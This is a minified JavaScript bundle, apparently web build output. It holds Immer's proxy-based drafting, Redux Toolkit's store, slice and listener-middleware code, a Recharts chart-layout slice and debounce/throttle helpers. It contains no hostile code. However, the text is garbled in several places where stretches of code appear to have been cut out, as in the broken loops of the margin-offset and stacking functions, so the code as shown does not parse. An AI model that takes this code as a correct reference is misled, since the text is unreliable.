Wc="MapSet",wm="Patches",Hg="ArrayMethods",uk={};function Hi(e){const t=uk[e];return t||zn(0,e),t}var Kg=e=>!!uk[e],go,dk=()=>go,WO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Kg(Wc)?Hi(Wc):void 0,arrayMethodsPlugin_:Kg(Hg)?Hi(Hg):void 0});function qg(e,t){t&&(e.patchPlugin_=Hi(wm),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function jm(e){km(e),e.drafts_.forEach(UO),e.drafts_=null}function km(e){e===go&&(go=e.parent_)}var Yg=e=>go=WO(go,e);function UO(e){const t=e[_t];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gg(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[_t].modified_&&(jm(t),zn(4)),Mn(e)&&(e=Xg(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[_t].base_,e,t)}else e=Xg(t,n);return VO(t,e,!0),jm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==lk?e:void 0}function Xg(e,t){if(dd(t))return t;const n=t[_t];if(!n)return Uc(t,e.handledSet_,e);if(!fd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);mk(n,e)}return n.copy_}function VO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Cx(t,n)}function fk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var fd=(e,t)=>e.scope_===t,HO=[];function pk(e,t,n,r){const i=ir(e),a=e.type_;if(r!==void 0&&ym(i,r,a)===t){Fc(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;od(i,(c,u)=>{if(vr(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??HO;for(const l of o)Fc(i,l,n,a)}function KO(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!fd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=zx(a);pk(e,a.draft_??a,o,n),mk(a,i)})}function mk(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}fk(e)}}function qO(e,t,n){const{scope_:r}=e;if(vr(n)){const i=n[_t];fd(i,r)&&i.callbacks_.push(function(){tc(e);const o=zx(i);pk(e,n,o,t)})}else Mn(n)&&e.callbacks_.push(function(){const a=ir(e);e.type_===3?a.has(n)&&Uc(n,r.handledSet_,r):ym(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&Uc(ym(e.copy_,t,e.type_),r.handledSet_,r)})}function Uc(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||vr(e)||t.has(e)||!Mn(e)||dd(e)||(t.add(e),od(e,(r,i)=>{if(vr(i)){const a=i[_t];if(fd(a,n)){const o=zx(a);Fc(e,r,o,e.type_),fk(a)}}else Mn(i)&&Uc(i,t,n)})),e}function YO(e,t){const n=ld(e),r={type_:n?1:0,scope_:t?t.scope_:dk(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=Vc;n&&(i=[r],a=yo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var Vc={get(e,t){if(t===_t)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=ir(e);if(!Vg(i,t,e.type_))return GO(e,i,t);const a=i[t];if(e.finalized_||!Mn(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&BO(t))return a;if(a===Ff(e.base_,t)){tc(e);const o=e.type_===1?+t:t,l=Sm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in ir(e)},ownKeys(e){return Reflect.ownKeys(ir(e))},set(e,t,n){const r=hk(ir(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Ff(ir(e),t),a=i==null?void 0:i[_t];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if($O(n,i)&&(n!==void 0||Vg(e.base_,t,e.type_)))return!0;tc(e),Nm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),qO(e,t,n)),!0},deleteProperty(e,t){return tc(e),Ff(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Nm(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=ir(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[ec]:!0,[gm]:e.type_!==1||t!=="length",[Bc]:r[Bc],[vo]:n[t]}},defineProperty(){zn(11)},getPrototypeOf(e){return Ba(e.base_)},setPrototypeOf(){zn(12)}},yo={};for(let e in Vc){let t=Vc[e];yo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}yo.deleteProperty=function(e,t){return yo.set.call(this,e,t,void 0)};yo.set=function(e,t,n){return Vc.set.call(this,e[0],t,n,e[0])};function Ff(e,t){const n=e[_t];return(n?ir(n):e)[t]}function GO(e,t,n){var i;const r=hk(t,n);return r?vo in r?r[vo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function hk(e,t){if(!(t in e))return;let n=Ba(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Ba(n)}}function Nm(e){e.modified_||(e.modified_=!0,e.parent_&&Nm(e.parent_))}function tc(e){e.copy_||(e.assigned_=new Map,e.copy_=bm(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var XO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(sa(n)&&!sa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}sa(r)||zn(6),i!==void 0&&!sa(i)&&zn(7);let a;if(Mn(n)){const o=Yg(this),l=Sm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?jm(o):km(o)}return qg(o,i),Gg(a,o)}else if(!n||!Sx(n)){if(a=r(n),a===void 0&&(a=n),a===lk&&(a=void 0),this.autoFreeze_&&Cx(a,!0),i){const o=[],l=[];Hi(wm).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else zn(1,n)},this.produceWithPatches=(n,r)=>{if(sa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},Bf(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),Bf(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),Bf(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Mn(t)||zn(8),vr(t)&&(t=_n(t));const n=Yg(this),r=Sm(n,t,void 0);return r[_t].isManual_=!0,km(n),r}finishDraft(t,n){const r=t&&t[_t];(!r||!r.isManual_)&&zn(9);const{scope_:i}=r;return qg(i,n),Gg(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=Hi(wm).applyPatches_;return vr(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Sm(e,t,n,r){const[i,a]=cd(t)?Hi(Wc).proxyMap_(t,n):ud(t)?Hi(Wc).proxySet_(t,n):YO(t,n);return((n==null?void 0:n.scope_)??dk()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?KO(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function _n(e){return vr(e)||zn(10,e),xk(e)}function xk(e){if(!Mn(e)||dd(e))return e;const t=e[_t];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=bm(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=bm(e,!0);return od(n,(i,a)=>{Fc(n,i,xk(a))},r),t&&(t.finalized_=!1),n}var ZO=new XO,vk=ZO.produce;function gk(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var QO=gk(),JO=gk,e6=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Rc:Rc.apply(null,arguments)};function vn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Qt(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>ok(r)&&r.type===e,n}var yk=class Ms extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Ms.prototype)}static get[Symbol.species](){return Ms}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Ms(...t[0].concat(this)):new Ms(...t.concat(this))}};function Zg(e){return Mn(e)?vk(e,()=>{}):e}function jl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function t6(e){return typeof e=="boolean"}var n6=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new yk;return n&&(t6(n)?o.push(QO):o.push(JO(n.extraArgument))),o},bk="RTK_autoBatch",De=()=>e=>({payload:e,meta:{[bk]:!0}}),Qg=e=>t=>{setTimeout(t,e)},wk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Qg(10):e.type==="callback"?e.queueNotification:Qg(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[bk]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},r6=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new yk(e);return r&&i.push(wk(typeof r=="object"?r:void 0)),i};function i6(e){const t=n6(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Nx(n))l=sk(n);else throw new Error(Qt(1));let c;typeof r=="function"?c=r(t):c=t();let u=Rc;i&&(u=e6({trace:!1,...typeof i=="object"&&i}));const d=DO(...c),f=r6(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return ak(l,a,h)}function jk(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(Qt(28));if(l in t)throw new Error(Qt(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function a6(e){return typeof e=="function"}function s6(e,t){let[n,r,i]=jk(t),a;if(a6(e))a=()=>Zg(e());else{const l=Zg(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(vr(d)){const h=f(d,c);return h===void 0?d:h}else{if(Mn(d))return vk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var o6="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",l6=(e=21)=>{let t="",n=e;for(;n--;)t+=o6[Math.random()*64|0];return t},c6=Symbol.for("rtk-slice-createasyncthunk");function u6(e,t){return`${e}/${t}`}function d6({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[c6];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(Qt(11));const l=(typeof i.reducers=="function"?i.reducers(p6()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(Qt(12));if(S in u.sliceCaseReducersByType)throw new Error(Qt(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:u6(a,j),createNotation:typeof i.reducers=="function"};h6(k)?v6(S,k,d,t):m6(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?jk(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return s6(i.initialState,z=>{for(let O in N)z.addCase(O,N[O]);for(let O of u.sliceMatchers)z.addMatcher(O.matcher,O.reducer);for(let O of k)z.addMatcher(O.matcher,O.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let O=z[j];return typeof O>"u"&&k&&(O=jl(x,S,v)),O}function N(z=m){const O=jl(h,k,()=>new WeakMap);return jl(O,z,()=>{const E={};for(const[T,P]of Object.entries(i.selectors??{}))E[T]=f6(P,z,()=>jl(x,z,v),k);return E})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function f6(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Ut=d6();function p6(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function m6({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!x6(r))throw new Error(Qt(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?vn(e,o):vn(e))}function h6(e){return e._reducerDefinitionType==="asyncThunk"}function x6(e){return e._reducerDefinitionType==="reducerWithPrepare"}function v6({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Qt(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||kl,pending:l||kl,rejected:c||kl,settled:u||kl})}function kl(){}var g6="task",kk="listener",Nk="completed",Px="cancelled",y6=`task-${Px}`,b6=`task-${Nk}`,zm=`${kk}-${Px}`,w6=`${kk}-${Nk}`,pd=class{constructor(e){rf(this,"name","TaskAbortError");rf(this,"message");this.code=e,this.message=`${g6} ${Px} (reason: ${e})`}},Ex=(e,t)=>{if(typeof e!="function")throw new TypeError(Qt(32))},Hc=()=>{},Sk=(e,t=Hc)=>(e.catch(t),e),zk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Oi=e=>{if(e.aborted)throw new pd(e.reason)};function Ck(e,t){let n=Hc;return new Promise((r,i)=>{const a=()=>i(new pd(e.reason));if(e.aborted){a();return}n=zk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Hc})}var j6=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof pd?"cancelled":"rejected",error:n}}finally{t==null||t()}},Kc=e=>t=>Sk(Ck(e,t).then(n=>(Oi(e),n))),Pk=e=>{const t=Kc(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Pa}=Object,Jg={},md="listenerMiddleware",k6=(e,t)=>{const n=r=>zk(e,()=>r.abort(e.reason));return(r,i)=>{Ex(r);const a=new AbortController;n(a);const o=j6(async()=>{Oi(e),Oi(a.signal);const l=await r({pause:Kc(a.signal),delay:Pk(a.signal),signal:a.signal});return Oi(a.signal),l},()=>a.abort(b6));return i!=null&&i.autoJoin&&t.push(o.catch(Hc)),{result:Kc(e)(o),cancel(){a.abort(y6)}}}},N6=(e,t)=>{const n=async(r,i)=>{Oi(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Ck(t,Promise.race(l));return Oi(t),c}finally{a()}};return(r,i)=>Sk(n(r,i))},Ek=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=vn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Qt(21));return Ex(a),{predicate:i,type:t,effect:a}},Ak=Pa(e=>{const{type:t,predicate:n,effect:r}=Ek(e);return{id:l6(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Qt(22))}}},{withTypes:()=>Ak}),ey=(e,t)=>{const{type:n,effect:r,predicate:i}=Ek(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Cm=e=>{e.pending.forEach(t=>{t.abort(zm)})},S6=(e,t)=>()=>{for(const n of t.keys())Cm(n);e.clear()},ty=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},_k=Pa(vn(`${md}/add`),{withTypes:()=>_k}),z6=vn(`${md}/removeAll`),Ok=Pa(vn(`${md}/remove`),{withTypes:()=>Ok}),C6=(...e)=>{console.error(`${md}/error`,...e)},$o=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=C6}=e;Ex(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Cm(h)}),c=h=>{const x=ey(t,h)??Ak(h);return l(x)};Pa(c,{withTypes:()=>c});const u=h=>{const x=ey(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Cm(x)),!!x};Pa(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=N6(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Pa({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Pk(v.signal),pause:Kc(v.signal),extra:a,signal:v.signal,fork:k6(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort(zm),S.delete(j))})},cancel:()=>{v.abort(zm),h.pending.delete(v)},throwIfCancelled:()=>{Oi(v.signal)}})))}catch(j){j instanceof pd||ty(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(w6),i(h),h.pending.delete(v)}},f=S6(t,n);return{middleware:h=>x=>g=>{if(!ok(g))return x(g);if(_k.match(g))return c(g.payload);if(z6.match(g)){f();return}if(Ok.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===Jg)throw new Error(Qt(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,ty(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=Jg}return b},startListening:c,stopListening:u,clearListeners:f}};function Qt(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var P6={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Tk=Ut({name:"chartLayout",initialState:P6,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:E6,setLayout:A6,setChartSize:_6,setScale:O6}=Tk.actions,T6=Tk.reducer;function Mk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function je(e){return Number.isFinite(e)}function si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function ny(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ya(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&de(e[a]))return ya(ya({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&de(e[o]))return ya(ya({},e),{},{[o]:e[o]+(i||0)})}return e},er=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",R6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},$6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},B6={sign:R6,expand:P_,none:Ui,silhouette:E_,wiggle:A_,positive:$6},F6=(e,t,n)=>{var r,i=(r=B6[n])!==null&&r!==void 0?r:Ui,a=C_().keys(t).value((l,c)=>Number(Ie(l,c,0))).order(xm).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ie(e[d],t[c],0);Array.isArray(f)&&f.length===2&&de(f[0])&&de(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function W6(e){return e==null?void 0:String(e)}function ry(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!jt(i[t.dataKey])){var l=z5(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Ie(i,jt(o)?t.dataKey:o),u=t.scale.map(c);return de(u)?u:null}var U6=e=>{var t=e.flat(2).filter(de);return[Math.min(...t),Math.max(...t)]},V6=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],H6=(e,t,n)=>{if(e!=null)return V6(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Mk(u,t,n),f=U6(d);return!je(f[0])||!je(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},iy=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,ay=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,qc=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=ad(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},q6=(e,t)=>t==="centric"?e.angle:e.radius,zr=e=>e.layout.width,Cr=e=>e.layout.height,Y6=e=>e.layout.scale,Lk=e=>e.layout.margin,xd=M(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),vd=M(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Ik="data-recharts-item-index",Dk="data-recharts-item-id",Bo=60;function oy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Nl(e){for(var t=1;te.brush.height;function J6(e){var t=vd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Bo;return n+i}return n},0)}function eT(e){var t=vd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Bo;return n+i}return n},0)}function tT(e){var t=xd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function nT(e){var t=xd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var ft=M([zr,Cr,Lk,Q6,J6,eT,tT,nT,ik,_O],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Nl(Nl({},f),d),h=m.bottom;m.bottom+=r,m=D6(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Nl(Nl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),rT=M(ft,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));M(zr,Cr,(e,t)=>({x:0,y:0,width:e,height:t}));var iT=p.createContext(null),In=()=>p.useContext(iT)!=null,gd=e=>e.brush,yd=M([gd,ft,Lk],(e,t,n)=>({height:e.height,x:de(e.x)?e.x:t.left,y:de(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:de(e.width)?e.width:t.width})),Rk={},$k={},Bk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(Bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Bk;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})($k);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$k;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(Rk);var aT=Rk.throttle;const 